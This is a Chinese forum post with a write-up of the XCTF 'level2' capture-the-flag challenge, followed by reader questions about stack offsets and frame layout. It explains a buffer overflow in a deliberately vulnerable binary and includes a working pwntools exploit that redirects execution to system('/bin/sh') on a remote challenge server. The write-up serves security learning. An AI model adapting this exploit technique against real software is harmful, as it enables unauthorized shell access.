首页
社区
课程
招聘
[原创]XCTF攻防世界 level2
发表于: 2019-5-14 12:09 23919

[原创]XCTF攻防世界 level2

2019-5-14 12:09
23919

这是XMAN上之前比赛的一道题,还是挺简单的,ROP的基本入门使用。

首先可以看到的是,程序的代码很少,main函数中只调用了一个vulnerable_function()和一个system()。F5看一下:

确实没有发现其他函数,进入vulnerable_function()函数:

在这里我们看到了一个buf[],然后没有其他内容了,没有对输入做任何限制,这也是为什么我们一开始输入大量的无效字符程序依然没有任何问题。

查看一下程序的strings,可能会有其他有用的内容:

我们看到了system和/bin/sh,这是解出题目的关键。
我们可以构造一个system("/bin/sh")的伪栈帧,vulnerable_function()执行结束后返回到我们构造的伪栈帧去执行system("bin/sh"),这样就可以获取shell。(需要注意一点,因为我们的目的是通过system("bin/sh")来获取shell,所以函数执行完后的返回地址可以任意。)

    #! /usr/bin/env python
    # -*- coding:utf-8 -*-
    from pwn import *
    context.log_level = 'debug'

    elf = ELF('./level2')
    sys_addr = elf.symbols['system']
    sh_addr = elf.search('/bin/sh').next()

    payload = 'A' * (0x88 + 0x4) + p32(sys_addr) +     p32(0xdeadbeef) + p32(sh_addr)

    io = remote('111.198.29.45',45800)
    io.sendlineafter("Input:\n",payload)
    io.interactive()
    io.close()

[招生]科锐逆向工程师培训(2024年11月15日实地,远程教学同时开班, 第51期)

最后于 2019-5-15 14:29 被有毒编辑 ,原因:
上传的附件:
收藏
免费 3
支持
分享
最新回复 (19)
雪    币: 3677
活跃值: (3081)
能力值: ( LV8,RANK:147 )
在线值:
发帖
回帖
粉丝
2
能上传一下题目吗?
2019-5-15 07:56
0
雪    币: 15187
活跃值: (16852)
能力值: (RANK:730 )
在线值:
发帖
回帖
粉丝
3
xuenixiang 能上传一下题目吗?
已经上传题目
2019-5-15 14:29
0
雪    币: 3677
活跃值: (3081)
能力值: ( LV8,RANK:147 )
在线值:
发帖
回帖
粉丝
4
有毒 已经上传题目
谢谢~
2019-5-15 14:58
0
雪    币: 279
活跃值: (123)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
5
这也不算rop吧,算个ret2text
2019-5-17 00:18
0
雪    币: 1243
活跃值: (119)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
6
大佬您好,请问payload中的0x88+0x4是怎样获得的
2019-6-5 20:33
0
雪    币: 44
活跃值: (56)
能力值: ( LV3,RANK:35 )
在线值:
发帖
回帖
粉丝
7
Hotspur 大佬您好,请问payload中的0x88+0x4是怎样获得的[em_9]
查看栈空间
2019-6-6 11:19
0
雪    币: 5568
活跃值: (3208)
能力值: ( LV12,RANK:407 )
在线值:
发帖
回帖
粉丝
8
函数里面的char的位置是ebp-0x88
2019-6-25 07:18
2
雪    币: 185
活跃值: (23)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
9
+0x4 是因为什么呢?是因为32位程序吗?
2019-7-22 15:40
0
雪    币: 270
活跃值: (1662)
能力值: ( LV5,RANK:75 )
在线值:
发帖
回帖
粉丝
10
栈空间是0x88+ebp+ret(返回地址),ROP要覆盖的是返回地址,所以+0x4是因为要覆盖ebp,ebp是没用的
2019-8-7 08:56
1
雪    币: 40
能力值: ( LV1,RANK:0 )
在线值:
发帖
回帖
粉丝
11
大佬,我想请问一下:payload = 'A' * (0x88 + 0x4) + p32(sys_addr) +     p32(0xdeadbeef) + p32(sh_addr)中p32(0xdeadbeef)的作用是什么,是覆盖栈中的什么位置,为什么去掉 了它就不成功。
2019-9-28 08:32
0
雪    币: 633
活跃值: (626)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
12
请问一下大佬,read函数有三个参数,这三个参数是不是按从右到左存放在返回地址下面啊,存的是buf数组的首地址吗
2019-10-8 10:04
0
雪    币: 15187
活跃值: (16852)
能力值: (RANK:730 )
在线值:
发帖
回帖
粉丝
13
ZhangZreo 大佬,我想请问一下:payload = 'A' * (0x88 + 0x4) + p32(sys_addr) + p32(0xdeadbeef) + p32(sh_addr)中p32(0xde ...
是为了覆盖ebp
2019-10-8 10:21
0
雪    币: 15187
活跃值: (16852)
能力值: (RANK:730 )
在线值:
发帖
回帖
粉丝
14
wx_辰先森 请问一下大佬,read函数有三个参数,这三个参数是不是按从右到左存放在返回地址下面啊,存的是buf数组的首地址吗
是的
2019-10-8 10:22
0
雪    币: 633
活跃值: (626)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
15
谢谢
2019-10-9 15:59
0
雪    币: 40
能力值: ( LV1,RANK:0 )
在线值:
发帖
回帖
粉丝
16
谢谢大佬
2019-10-13 15:11
0
雪    币: 40
能力值: ( LV1,RANK:0 )
在线值:
发帖
回帖
粉丝
17
大佬,在跳到system函数的时候,是不是不会在进行
push ebp
mov ebp,esp 的操作,这样构造的栈针才会起作用
2019-10-13 15:30
0
雪    币: 40
能力值: ( LV1,RANK:0 )
在线值:
发帖
回帖
粉丝
18
大佬,还是有点不懂,大佬说是覆盖ebp,那system函数的返回地址不用覆盖吗?栈针的结构不是
参数
返回地址
ebp
局部变量
2019-10-13 19:01
0
雪    币: 41
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
19
@ZhangZreo 那个sysaddr就是ret address,返回后覆盖为system的地址
你可以自己操练一下,把remote()改为process()
2019-10-15 08:47
0
雪    币: 20
能力值: ( LV1,RANK:0 )
在线值:
发帖
回帖
粉丝
20
问下大佬,为什么payload里system的地址不是0x804849E呢?
2020-4-20 22:01
0
游客
登录 | 注册 方可回帖
返回
//